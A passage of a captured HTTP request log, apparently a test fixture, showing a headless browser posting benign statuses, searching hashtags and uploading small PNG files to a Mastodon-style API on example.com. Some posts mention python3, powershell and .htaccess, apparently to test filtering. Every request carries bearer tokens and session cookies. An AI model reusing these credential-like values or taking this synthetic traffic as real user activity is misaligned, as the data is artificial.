_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=AuCdXrishSfBBhe38IrMAoIYp7o57OuVeVWZcdmj%2FjsVTZt6j1eSNvV%2FqigbMOhef18s6QNjuPemVeqK7jkcTfvRbn9rS0wxWwQB6UimrMBadsyfZ9VuEuDqzXXN%2B5hKICb5lMvy%2Fa6KlHmYfqeZ52W9jcXZ8bN7E6ikjNGNEmdHkt5n2g1oXL6vmAYKzWKtRQHWf8YqxmOsPeNZ3xS%2B4XFKRjHxoZqPrvC%2Fpmz5EHHv5pP0dto5V1Hi0X8be612nQr4uZfibgb5CbZnN%2BJr9y3pKtPeGc9MzKuA5mSQzc1UaonVyl7qcPHT810BpQs2yodgsHcOcAhh84kJF%2BdxSY5dJi1YM8cfjoZTIggUOau0gowfcfvF%2FTih8hNJwkcEyu%2BPtv%2BptSFF--atVs4SixxqiNrTmF--wOHvJJOXUdKC0NVmm12eKw%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 245", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 86d81d8d-702d-4103-8139-1baf4493975d", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=AuCdXrishSfBBhe38IrMAoIYp7o57OuVeVWZcdmj%2FjsVTZt6j1eSNvV%2FqigbMOhef18s6QNjuPemVeqK7jkcTfvRbn9rS0wxWwQB6UimrMBadsyfZ9VuEuDqzXXN%2B5hKICb5lMvy%2Fa6KlHmYfqeZ52W9jcXZ8bN7E6ikjNGNEmdHkt5n2g1oXL6vmAYKzWKtRQHWf8YqxmOsPeNZ3xS%2B4XFKRjHxoZqPrvC%2Fpmz5EHHv5pP0dto5V1Hi0X8be612nQr4uZfibgb5CbZnN%2BJr9y3pKtPeGc9MzKuA5mSQzc1UaonVyl7qcPHT810BpQs2yodgsHcOcAhh84kJF%2BdxSY5dJi1YM8cfjoZTIggUOau0gowfcfvF%2FTih8hNJwkcEyu%2BPtv%2BptSFF--atVs4SixxqiNrTmF--wOHvJJOXUdKC0NVmm12eKw%3D%3D"], "body": "{\"status\":\"Morning walk by the river, then coffee with friends.\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?type=hashtags&q=py&resolve=false&limit=4&exclude_unreviewed=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?type=hashtags&q=python3&resolve=false&limit=4&exclude_unreviewed=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 252", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 9f1fa73d-51ee-44b6-adde-9ba9f7187fd2", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": "{\"status\":\"Notes on python3, powershell, ls -la and .htaccess #python3\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 320", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 3aa2d4fa-eefb-40b2-bf47-9d5b0160c003", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=j5QNf8MwXjO4vRdhMy38ES6HifRgyZpzJdPO7ITgaVYWqzZ0prC9nbRvI1maZ%2BQCG6puk35zZmTryfjpGGH7cKdK4pwr5I8ceLVBeNgjxFISlHtNQl0Rf9celIwmOymnzVcq60MnwgkZ2Pe4Nn3sEYbaOw3eDgBWGyl6HDzbB9zda0wZQqckmNz1LUtZ3iG241Tw7RNEwg3cpjWfP%2ByZ8U0hI%2FPMvK0rnHtXHrm9YyS4WxbWP%2FjCVrCokq3T8RjreDMojK6vGuDpVG%2FrNnMchNWCiFpbQlTLmPvJEmc0GSBSXuwy0LZ7Fgt1d157ZLV0Lu%2FDeqrS1xaek58wD7auPH1ZH0XXnY61I3x8lrwzPRrL6DKrklspZQqwXb4pQzwXLCFW0GQtE1Hk--4dD4L1a1wXIs8qqW--pUVSMwKxt4sifcIpfbha%2Bg%3D%3D"], "body": "{\"status\":\"Today I learned: `ls -la ~/.config` lists hidden files, and `python3 -m http.server` serves a folder. https://example.org/notes\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 243", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: f40781e3-7fa4-4aaa-8ec5-8323c4da1419", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=q89PV6HkeyvwYWK4N%2BiY4rwmw1DGDpXAl15dWM6RMnEcKawEiVbqcodZTS6LF5gz%2FLREXCNuzr0G1GSHEz93RxmIrmEzI3t9sPtKbRctmfxblcHdmvVZiLN8x%2Fr9iV8nV0KMv9eR%2Fwb%2BCAezozoZSh35w4VPcTQbQH9XSTtOHugCE5a%2BACR1omfoL0tj%2BxDovqRvY%2FkU5SyOgei8tAdvpHuvsc2BQJjeFQwOc%2BvAa4o4W49cIsKgfD2u1zevwjJv3OiDdYgxLJBskmEU3bCHMrPSX1kyTpvNp6P2CfoEF07QN93vko57t2rtbdXMnwuhBPtFjIOarBzfHB1pdcfe3DkUMkqCNCXc8JUTcSf35yOqxLKn6buRHKuYemZ09NuGaILMgCjJHcj3--6pPwPxYT88WOed%2BI--wxoNWJbXlmTow3urjXt2LQ%3D%3D"], "body": "{\"status\":\"Spoilers about the python3 talk\",\"spoiler_text\":\"powershell spoilers\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=bo&resolve=false&limit=4", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=bob+have&resolve=false&limit=4", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 228", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: d0c560c6-f1e5-4f72-b889-75c177dfb492", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": "{\"status\":\"@bob have you tried python3 yet? :)\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 270", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVvXX0xc5vKAlW6cW", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=zDd1jvw8R90jtMLwXO7zKsLDsc%2BwRiT267e0rlzV5QUlW2FJa8hFgGt%2FqOZdtfWbw29ZNYv0yhXmiJuz0NpsXL3MET%2BUzEqPz8Ztw2NNPlQvoNZMNiaYtpmV8JumaFDKbzQLYzVlpzW1GSGz%2BAo1KaeVBh4uaWldAzadX9dfjTWNHU9sQD%2BHIIKveuf8mJdGLi4g%2F73r6wAxaHwY9gqxyeKFLJew2o%2F9B%2FvmSbyw09uLCy7%2F8Lv%2BWC16z9SQogdIcEN4PObk94oLJuiJzUr9bRnvf2ViN0LOI%2BcKNUXZR3h2ricuBwAhsFqePZSCXqWKgKXGvt2FT0QrDk2B%2FEG%2FXyYLzfUb5vogbfjETFbGZK%2BQpgcfrLB3ZyRLqbxE4GmOfLgVoip3tUxY--xGWcksEXAHHRZCy%2F--vKy815ZRV7sE%2FQH5jF83nw%3D%3D"], "body": "------WebKitFormBoundaryVvXX0xc5vKAlW6cW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryVvXX0xc5vKAlW6cW--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 274", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7M68vQfsTam71WxV", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; 